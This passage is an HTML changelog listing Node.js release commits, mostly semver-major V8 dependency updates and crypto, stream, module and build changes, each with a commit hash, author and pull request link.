<li>[<a href="https://github.com/nodejs/node/commit/da5843b91d"><code>da5843b91d</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: default ML-KEM and ML-DSA pkcs8 export to seed-only format (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62178" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62178/hovercard">#62178</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dff46c07c3"><code>dff46c07c3</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: move DEP0182 to End-of-Life (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61084/hovercard">#61084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94cd600542"><code>94cd600542</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: fix DOMException name for non-extractable key error (Filip Skokan) <a href="https://github.com/nodejs/node/pull/60830" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60830/hovercard">#60830</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dae2219cca"><code>dae2219cca</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick 0f024d4e66e0 (ishabi) <a href="https://github.com/nodejs/node/pull/62408" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62408/hovercard">#62408</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/15d406c1b1"><code>15d406c1b1</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: fix V8 race condition for AIX (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46852d2d7a"><code>46852d2d7a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick cd2c216e7658 (LuYahan) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/784431d6fc"><code>784431d6fc</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: backport 088b7112e7ab (Igor Sheludko) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3839c4a756"><code>3839c4a756</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick 00f6e834029f (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44f64f1dd9"><code>44f64f1dd9</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: backport bef0d9c1bc90 (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f8f288e22"><code>1f8f288e22</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick cf1bce40a5ef (Richard Lau) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7eccac9ad"><code>d7eccac9ad</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick daf4656ba85e (Milad Fa) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ee1ea7d0b"><code>3ee1ea7d0b</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick d83f479604c8 (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80907c0239"><code>80907c0239</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick edeb0a4fa181 (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e0dc169e9"><code>5e0dc169e9</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick aa0b288f87cc (Richard Lau) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c1f7adbcd"><code>8c1f7adbcd</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 to fix Windows build (StefanStojanovic) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3cbd3404d9"><code>3cbd3404d9</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick highway@989a498fdf3 (Richard Lau) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9f2b7d4031"><code>9f2b7d4031</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: support madvise(3C) across ALL illumos revisions (Dan McDonald) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/947ec32118"><code>947ec32118</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 for illumos (Dan McDonald) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0660b942b2"><code>0660b942b2</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: remove problematic comment from v8-internal (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bef7b31a3f"><code>bef7b31a3f</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: define V8_PRESERVE_MOST as no-op on Windows (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a10bf1e6ce"><code>a10bf1e6ce</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 to avoid duplicated zlib symbol (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc547428e1"><code>cc547428e1</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: update V8 to 14.6.202.33 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b81d2cbcae"><code>b81d2cbcae</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: update undici to 8.0.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62384" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62384/hovercard">#62384</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf5c6a8bd4"><code>bf5c6a8bd4</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: backport 151d0a44a1b2 (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b59af772dc"><code>b59af772dc</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick 47800791b35c (Jakob Kummerow) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e41e5228a"><code>5e41e5228a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 for illumos (Dan McDonald) <a href="https://github.com/nodejs/node/pull/59805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59805/hovercard">#59805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2243e58e43"><code>2243e58e43</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: use std::map in MSVC STL for EphemeronRememberedSet (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/58070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58070/hovercard">#58070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4157964c42"><code>4157964c42</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: remove problematic comment from v8-internal (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/58070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58070/hovercard">#58070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c8483a4e9"><code>7c8483a4e9</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 to avoid duplicated zlib symbol (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/54077" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/54077/hovercard">#54077</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53379f3706"><code>53379f3706</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: update V8 to 14.3.127.12 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f819aec288"><code>f819aec288</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick ff34ae20c8e3 (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1acd8df36f"><code>1acd8df36f</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: backport fed47445bbdd (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46f72577a4"><code>46f72577a4</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 for illumos (Dan McDonald) <a href="https://github.com/nodejs/node/pull/59805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59805/hovercard">#59805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39eb88eaa8"><code>39eb88eaa8</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: use std::map in MSVC STL for EphemeronRememberedSet (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/58070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58070/hovercard">#58070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea3d14eadb"><code>ea3d14eadb</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: remove problematic comment from v8-internal (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/58070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58070/hovercard">#58070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc0f245b4"><code>7bc0f245b4</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 to avoid duplicated zlib symbol (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/54077" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/54077/hovercard">#54077</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c2843b722c"><code>c2843b722c</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: update V8 to 14.2.231.9 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b4ea323833"><code>b4ea323833</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>diagnostics_channel</strong>: ensure tracePromise consistency with non-Promises (René) <a href="https://github.com/nodejs/node/pull/61766" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61766/hovercard">#61766</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0c08835f71"><code>0c08835f71</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>doc</strong>: remove extensionless CJS exception for type:module packages (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62176" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62176/hovercard">#62176</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef0f0b0865"><code>ef0f0b0865</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>doc</strong>: update supported Windows SDK version to 11 (Mike McCready) <a href="https://github.com/nodejs/node/pull/61973" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61973/hovercard">#61973</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a00d95c73d"><code>a00d95c73d</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>doc</strong>: drop p8 and z13 support (Milad Fa) <a href="https://github.com/nodejs/node/pull/61005" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61005/hovercard">#61005</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93c25815ee"><code>93c25815ee</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>http</strong>: move writeHeader to end-of-life (Sebastian Beltran) <a href="https://github.com/nodejs/node/pull/60635" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60635/hovercard">#60635</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4346c0f7a7"><code>4346c0f7a7</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>http</strong>: fix handling of HTTP upgrades with bodies (Tim Perry) <a href="https://github.com/nodejs/node/pull/60016" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60016/hovercard">#60016</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fa70327610"><code>fa70327610</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>lib</strong>: return undefined for localStorage without file (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61333" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61333/hovercard">#61333</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b328bf74bd"><code>b328bf74bd</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>lib,src</strong>: implement QuotaExceededError as DOMException-derived interface (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62293/hovercard">#62293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98907f560f"><code>98907f560f</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>module</strong>: runtime-deprecate module.register() (Geoffrey Booth) <a href="https://github.com/nodejs/node/pull/62401" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62401/hovercard">#62401</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/89f4b6cddb"><code>89f4b6cddb</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>module</strong>: remove --experimental-transform-types (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61803" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61803/hovercard">#61803</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5334433437"><code>5334433437</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: replace uses of deprecated v8::External APIs (gahaas) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46e75f4874"><code>46e75f4874</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: stop using <code>v8::PropertyCallbackInfo&lt;T&gt;::This()</code> (Igor Sheludko) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54fefda0aa"><code>54fefda0aa</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: avoid deprecated Wasm API (Clemens Backes) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/840f509bd1"><code>840f509bd1</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: avoid deprecated <code>FixedArray::Get</code> (Clemens Backes) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/75c3bcc3ec"><code>75c3bcc3ec</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: update NODE_MODULE_VERSION to 147 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8480f87375"><code>8480f87375</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: remove deprecated and unused isolate fields (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70b6bd8e19"><code>70b6bd8e19</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: update NODE_MODULE_VERSION to 144 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d2bc5249b"><code>7d2bc5249b</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: include <code>node_api_types.h</code> instead of <code>node_api.h</code> in <code>node.h</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60496" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60496/hovercard">#60496</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91ab1101bc"><code>91ab1101bc</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: update NODE_MODULE_VERSION to 142 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac6375417a"><code>ac6375417a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: promote DEP0201 to runtime deprecation (René) <a href="https://github.com/nodejs/node/pull/62173" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62173/hovercard">#62173</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c755b0113c"><code>c755b0113c</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: move _stream_* to end-of-life (Sebastian Beltran) <a href="https://github.com/nodejs/node/pull/60657" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60657/hovercard">#60657</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fadb214d95"><code>fadb214d95</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: readable read one buffer at a time (Robert Nagy) <a href="https://github.com/nodejs/node/pull/60441" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60441/hovercard">#60441</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4fe325d93d"><code>4fe325d93d</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: preserve AsyncLocalStorage on finished only when needed (avcribl) <a href="https://github.com/nodejs/node/pull/59873" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59873/hovercard">#59873</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7682e7e9c5"><code>7682e7e9c5</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: skip wasm allocation tests in workers (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ebfaf25870"><code>ebfaf25870</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: update wpt Wasm jsapi expectations (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ece6a17574"><code>ece6a17574</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: support presence of Temporal global (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/75b8d7a912"><code>75b8d7a912</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: add type tags to uses of v8::External (gahaas) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/092a448ad0"><code>092a448ad0</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: fix test-linux-perf-logger for V8 14.3 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8eb9c8f794"><code>8eb9c8f794</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: remove v8_initializers_slow workaround from v8.gyp (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a34fe77fe7"><code>a34fe77fe7</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: add Rust args to <code>tools/make-v8.sh</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4666bd6e3"><code>f4666bd6e3</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: update V8 gypfiles for 14.6 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c23d217a6"><code>3c23d217a6</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: update V8 gypfiles for 14.5 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e508489e37"><code>e508489e37</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: update V8 gypfiles for 14.4 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc97b507d0"><code>dc97b507d0</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>util</strong>: mark proxied objects as such when inspecting them (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61029" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61029/hovercard">#61029</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ddbe1365ff"><code>ddbe1365ff</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>util</strong>: reduce TextEncoder.encodeInto function size (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/60339" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60339/hovercard">#60339</a></li>
</ul>
<h3>Semver-Minor Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/d4fa60cf9f"><code>d4fa60cf9f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add raw key formats support to the KeyObject APIs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62240/hovercard">#62240</a></li>
</ul>
<h3>Semver-Patch Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/4d8834fbef"><code>4d8834fbef</code></a>] - <strong>build</strong>: add rust target for macOS cross compiles (Richard Lau) <a href="https://github.com/nodejs/node/pull/63015" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63015/hovercard">#63015</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a4edab8dfb"><code>a4edab8dfb</code></a>] - <strong>build</strong>: use <code>CARGO</code> environment variable if set (Richard Lau) <a href="https://github.com/nodejs/node/pull/62421" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62421/hovercard">#62421</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecf8721076"><code>ecf8721076</code></a>] - <strong>build</strong>: add weak symbol detection to export script (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b9f811662"><code>5b9f811662</code></a>] - <strong>build</strong>: filter hidden visibility symbols on AIX (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e724793e6"><code>2e724793e6</code></a>] - <strong>build</strong>: aix add conditonal flags for clang builds (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f212aee483"><code>f212aee483</code></a>] - <strong>build</strong>: enable temporal on GHA macOS build (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61691" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61691/hovercard">#61691</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/159ae48f8c"><code>159ae48f8c</code></a>] - <strong>build</strong>: add <code>cargo</code> and <code>rustc</code> checks for Temporal (Richard Lau) <a href="https://github.com/nodejs/node/pull/61467" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61467/hovercard">#61467</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a004535617"><code>a004535617</code></a>] - <strong>build</strong>: add temporal to linux GHA build (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60942/hovercard">#60942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9df9b66c18"><code>9df9b66c18</code></a>] - <strong>crypto</strong>: add support for Ed25519 context parameter (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62474" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62474/hovercard">#62474</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c3042c605b"><code>c3042c605b</code></a>] - <strong>crypto</strong>: recognize raw formats in keygen (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62480/hovercard">#62480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce0f498def"><code>ce0f498def</code></a>] - <strong>deps</strong>: V8: cherry-pick fcf8b990c73c (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62894" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62894/hovercard">#62894</a></li>
